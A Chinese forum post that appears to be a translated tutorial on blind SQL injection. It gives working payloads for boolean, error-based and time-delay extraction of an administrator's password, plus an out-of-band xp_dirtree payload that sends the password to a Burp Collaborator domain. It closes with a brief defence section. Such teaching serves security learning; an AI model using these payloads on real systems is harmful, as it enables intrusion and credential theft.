SQL盲注

1016 1
HK.JH 2022-2-13 23:17:10 来自手机 | 显示全部楼层 |阅读模式
1. 什么是SQL盲注
当应用存在SQL注入漏洞,但其HTTP响应不包含相关SQL查询的结果或任何数据库错误的详细信息时,就会出现SQL盲注。

对于SQL盲注漏洞,许多技术(如UNION攻击)并不有效,因为它们依赖于能够在应用程序的响应中看到注入的查询的结果。仍然可以利用SQL盲注访问未经授权的数据,但必须使用不同的技术。

2. 通过触发条件响应来利用SQL盲注
考虑一个使用跟踪cookie来收集分析使用情况的应用程序。对应用程序的请求包含这样一个cookie头:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
当一个包含TrackingId cookie的请求被处理时,应用程序使用如下的SQL查询来确定这是否是一个已知的用户:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
这个查询存在SQL注入,但是查询的结果不会返回给用户。然而,应用程序的行为会根据查询是否返回任何数据而有所不同。如果它返回数据(因为已提交了已识别的TrackingId),则页面内将显示“Welcome back”消息。

这种行为足以利用SQL盲注漏洞,并根据注入的条件触发不同的响应来检索信息。为了了解这是如何工作的,假设依次发送包含以下TrackingId cookie值的两个请求:

…xyz' AND '1'='1
…xyz' AND '1'='2
第一个值将导致查询返回结果,因为注入的 AND '1'='1 条件为真,因此将显示“Welcome back”消息。而第二个值将导致查询不返回任何结果,因为注入的条件为false,因此不会显示“Welcome back”消息。这使我们能够确定任何单个注入条件的答案,从而每次提取1位数据。

例如,假设有一个名为Users的表,字段名Username和Password,还有一个名为Administrator的用户。我们可以通过发送一系列输入来一次一个字符地测试密码,从而系统地确定该用户的密码。

实现这一点,我们从以下输入开始:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm
这将返回“Welcome back”消息,表明注入的条件为true,因此密码的第一个字符大于m。

接下来,我们发送以下输入:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't
这不会返回“Welcome back”消息,指示注入的条件为false,因此密码的第一个字符不大于t。

最后,我们发送以下输入,它返回“Welcome back”消息,从而确认密码的第一个字符是s:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's
我们可以继续这个过程,系统地确定Administrator用户的完整密码。

提示:SUBSTRING函数在某些类型的数据库中为SUBSTR。

3. 通过触发SQL错误来诱导条件响应
在前面的示例中,假设应用程序执行相同的SQL查询,但根据查询是否返回任何数据,其行为没有任何不同。前面的技术不起作用,因为注入不同的布尔条件对应用程序的响应没有影响。

在这种情况下,通常可以根据注入的条件有条件地触发SQL错误,从而诱导应用程序返回条件响应。这涉及到修改查询,以便在条件为真时导致数据库错误,但在条件为假时不会。通常,数据库抛出的未处理错误会导致应用程序的响应有所不同(比如错误信息),从而允许我们推断注入条件的真实性。

为了了解这是如何工作的,假设依次发送包含以下TrackingId cookie值的两个请求:

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
这些输入使用CASE关键字来测试条件,并根据表达式是否为真返回不同的表达式。对于第一个输入,CASE表达式计算为'a',这不会导致任何错误。对于第二个输入,它的计算结果是1/0,这将导致一个被零除的错误。假设该错误导致应用程序的HTTP响应存在一些差异,我们可以使用这个差异来推断注入的条件是否为真。

使用这种技术,我们可以通过系统地每次测试一个字符的方式检索数据:

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
提示:触发条件错误的方法多种多样,不同的方法适用于不同的数据库类型。

4. 时间延时SQL盲注利用
在前面的示例中,假设应用程序现在捕获数据库错误并优雅地处理它们。在执行注入的SQL查询时触发数据库错误不再会导致应用程序的响应有任何不同,因此前面诱导条件错误的技术将不起作用。

在这种情况下,通常可以根据注入的条件有条件地触发时间延迟,从而利用SQL盲注漏洞。由于SQL查询通常由应用程序同步处理,因此SQL查询的延迟执行也会延迟HTTP响应。这允许我们根据在接收HTTP响应之前所花费的时间推断注入条件是否为真。

触发时间延迟的技术高度特定于所使用的数据库类型。在Microsoft SQL Server上,像下面这样的输入可以用来测试条件,并根据表达式是否为真来触发延迟:

'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--
第一个输入不会触发延迟,因为条件1=2为假。第二个输入将触发10秒的延迟,因为条件1=1为真。

使用这种技术,我们可以通过系统地每次测试一个字符的方式检索数据:

'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
提示:在SQL查询中有多种触发时间延迟的方法,不同类型的数据库适用不同的技术。

5. 使用带外(OAST)技术利用SQL盲注
现在,假设应用程序执行相同的SQL查询,但是是异步的。应用程序在原始线程中继续处理用户的请求,并使用另一个线程使用跟踪cookie执行SQL查询。查询仍然容易受到SQL注入的影响,但是到目前为止描述的技术都不起作用:应用程序的响应不依赖于查询是否返回任何数据,或是否发生数据库错误,或执行查询所花费的时间。

在这种情况下,通过带外网络,与你控制的系统进行交互,常常有可能利用SQL盲注漏洞。与前面一样,这些可以根据注入的条件有条件地触发,每次猜测1位数据。但更强大的是,数据可以在网络交互本身内直接被提取。

可以使用各种网络协议来实现这一目的,但通常最有效的是DNS(域名服务)。这是因为很多生产网络允许向公网DNS查询,因为它们对于生产系统的正常运行是必不可少的。

使用带外技术的最简单和最可靠的方法是使用Burp Collaborator。这是一个提供各种网络服务(包括DNS)的自定义实现的服务器,当向漏洞应用发送payload时与自定义的服务器产生网络交互。Burp Suite 专业版中支持Burp Collaborator,无需配置。

触发DNS查询的技术高度特定于所使用的数据库类型。在Microsoft SQL Server上,像下面这样的输入可以用来在指定的域上进行DNS查询:

'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--
这将导致数据库从以下域名查找:

0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net
您可以使用Burp Suite的Collaborator客户端来生成唯一的子域名,并轮询Collaborator服务器以确定何时DNS发生查询。

确定了触发带外交互的方法后,您就可以使用带外通道从脆弱的应用程序中提取数据。例如:

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--
该输入读取Administrator用户的密码,附加唯一的Collaborator子域,并触发DNS查询。这将导致如下的DNS查询,允许您查看捕获的密码:

S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net
带外(OAST)技术是一种非常强大的方法来检测和利用盲SQL注入,因为成功的可能性很高,并且能够直接在带外通道中提取数据。由于这个原因,即使在其他SQL盲注技术可以使用的情况下,OAST技术通常也是更可取的。

提示:有多种方式可以触发带外交互,不同类型的数据库应用不同的技术。

6. 如何防御SQL盲注攻击
尽管发现和利用SQL盲注漏洞所需的技术与常规SQL注入不同,而且更复杂,但无论漏洞是否是盲注,防止SQL注入所需的措施都是相同的。

与常规SQL注入一样,可以通过谨慎使用参数化查询来防止SQL盲注攻击,这可以确保用户输入不会干扰预期SQL查询的结构。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2026 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行